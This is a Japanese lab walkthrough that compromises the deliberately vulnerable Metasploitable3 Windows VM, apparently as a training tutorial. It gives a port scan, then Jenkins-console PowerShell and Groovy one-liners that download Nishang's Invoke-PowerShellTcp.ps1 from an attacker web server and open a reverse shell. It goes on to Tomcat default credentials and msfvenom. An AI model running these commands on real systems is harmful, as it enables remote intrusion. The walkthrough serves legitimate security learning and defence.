

metasploitable3 route2 walkthrough

このセクションでは metasploit や公開されている攻撃コードを一切使用せず、一般的に入手可能なツールのみを使用して最上位の権限を取得します。

前回 Linux の回でも同様のコンセプトで攻撃を行いました。認証すべき箇所を公開してしまっている事や、設定ファイルをだれにでも閲覧可能な場所の配置してしまう等、人為的なミスを利用しています。

もちろんデモンストレーションなのでセキュリティは大幅に緩く設定されていますが、このような状況は人間が関与するシステムでは必ず発生するものです。単純に侵入手法を知るだけではなく、このような事態を防ぐためには何が必要なのか、もし侵入されてしまったら、どのようにしてその手法を明らかにし、被害状況を明確にするのか等を考えながら手を動かしていただくと、より良い学習効果が望める事と思います。

オープンポート

Port	Protocol	State	Name	
21	tcp	open	ftp	Microsoft ftpd
22	tcp	open	ssh	OpenSSH 7.1 (protocol 2.0)
80	tcp	open	http	Microsoft IIS httpd 7.5
135	tcp	open	msrpc	Microsoft Windows RPC
137	udp	open	netbios-ns	Microsoft Windows netbios-ns (workgroup: WORKGROUP)
139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445	tcp	open	microsoft-ds	Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1617	tcp	open	java-rmi	Java RMI
3306	tcp	open	mysql	MySQL 5.5.20-log
3389	tcp	open	tcpwrapped	
3700	tcp	open	giop	CORBA naming service
4848	tcp	open	appserv-http	
5985	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676	tcp	open	java-messag...	Java Message Service 301
8009	tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8019	tcp	open	qbdb	
8020	tcp	open	http	Apache httpd
8022	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8027	tcp	open		
8028	tcp	open	postgresql	PostgreSQL DB
8031	tcp	open	unknown	
8032	tcp	open	desktop-cen...	ManageEngine Desktop Central DesktopCentralServer
8080	tcp	open	http	Sun GlassFish Open Source Edition 4.0
8181	tcp	open	intermapper	
8282	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8383	tcp	open	http	Apache httpd
8443	tcp	open	https-alt	
8444	tcp	open	desktop-cen...	ManageEngine Desktop Central DesktopCentralServer
8484	tcp	open	http	Jetty winstone-2.8
8585	tcp	open	http	Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686	tcp	open	java-rmi	Java RMI
9200	tcp	open	wap-wsp	
9300	tcp	open	vrace	
47001	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152	tcp	open	msrpc	Microsoft Windows RPC
49153	tcp	open	msrpc	Microsoft Windows RPC
49154	tcp	open	msrpc	Microsoft Windows RPC
49155	tcp	open	unknown	
49158	tcp	open	msrpc	Microsoft Windows RPC
49166	tcp	open	java-rmi	Java RMI
49167	tcp	open	tcpwrapped	
49244	tcp	open	msrpc	Microsoft Windows RPC
49261	tcp	open	ssh	Apache Mina sshd 0.8.0 (protocol 2.0)
49261	tcp	open	ssh	Apache Mina sshd 0.8.0 (protocol 2.0)
49262	tcp	open	jenkins-liste...	Jenkins TcpSlaveAgentListener
49263	tcp	open	msrpc	Microsoft Windows RPC
49327	tcp	open	java-rmi	Java RMI
49330	tcp	open		
49331	tcp	open		
49332	tcp	open		

OS コマンド実行

Jenkins のコンソールから下記を実行します。IP アドレスはご自分の環境に合わせて変更してください。使用した powershell 攻撃用スクリプトは下記で入手可能です。

<https://github.com/samratashok/nishang>

上記のgithubに書かれている構文は「Anti Virus」の項目に例示されています。

```
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
```

下記が Groovy からの powershell 実行例です。

```
def prshell = "cmd.exe /c powershell.exe -command iex (New-Object Net.WebClient).DownloadString('http://192.168.2.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.3 -Port 443";

def proc = prshell.execute()
```

実行の流れ

[Kali]	<-----	(HTTP)		[Metasploitable]
	ps1----->	(HTTP)		(メモリ上に展開)
	<-----	(reverse shell)		
	<----->	(接続)		

Local Service アカウント

<https://docs.microsoft.com/ja-jp/security-updates/planningandimplementationguide/19869699>

上記にも記載の通り、権限が制限されたアカウントです。本セクションでは、公開されている攻撃コードを使用しないという制限がありますので、攻撃者としては認証情報の入手が次善の手となります。しかしながら、やみくもに認証情報を収集したとして、最大の課題である最上位の権限を奪取することが可能なかどうかは、見通しが立ちません。

そこで、他にインストールされているアプリケーションで、高い権限で動作している可能性が高いアプリケーションを狙います。

Tomcat

tomcat はペネトレーションテストの教材としてよく登場しますが、「高い権限で動作している事が多い」、「デフォルトの認証情報 (tomcat/tomcat) の可能性がある」事が主な理由と思われます。本講座では手動でリバースシェルを発生させていますが、その他の攻撃方法も存在しますので、下記をご参照ください。

<https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/>

攻撃手法を学ぶことは、防御する際にどのポイントを重点的にチェックすると効果的なのかを明確に認識できるというメリットがあります。単純にリバースシェルを発生させて終わりではなく、段階的に防御方法を検討してみてください。

例えば、インターネット越しに侵入されないようにはどうするのか、侵入されてしまっても大丈夫なように、どの部分のセキュリティを強化するのか、もしすべてのセキュリティが突破されてしまっても、事後的に影響範囲を迅速に確定できるのか等、技術的には簡単な事例であっても、その前後の実対応はまったく簡単ではないことが想像できると思います。

msfvenom

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>

「msfvenom」は metasploit のペイロード生成機能を独立したアプリケーションにしたものです。このアプリケーションの使いどころを疑問に思う方もいらっしゃるかと思うので、例を挙げます。例えば本セクションを例にとりますが、「tomcat には不正なファイルアップロードを出来る以外の脆弱性が見当たらない」と仮定してみてください。

もちろんその場合、metasploit に攻撃モジュールはありませんし、公開されている脆弱性も存在しません。攻撃者としてコントロール可能な範囲は「不正なファイルをアップロード可能」な事と、「アップロードしたファイルを実行可能」な事のみです。

今の優先事項としては、「どこまで侵入可能なのなるべく早く確定する」なので、攻撃対象の環境に合わせてイチから攻撃コードを開発するのは最善手ではないでしょう。ここで msfvenom の出番と言うわけです。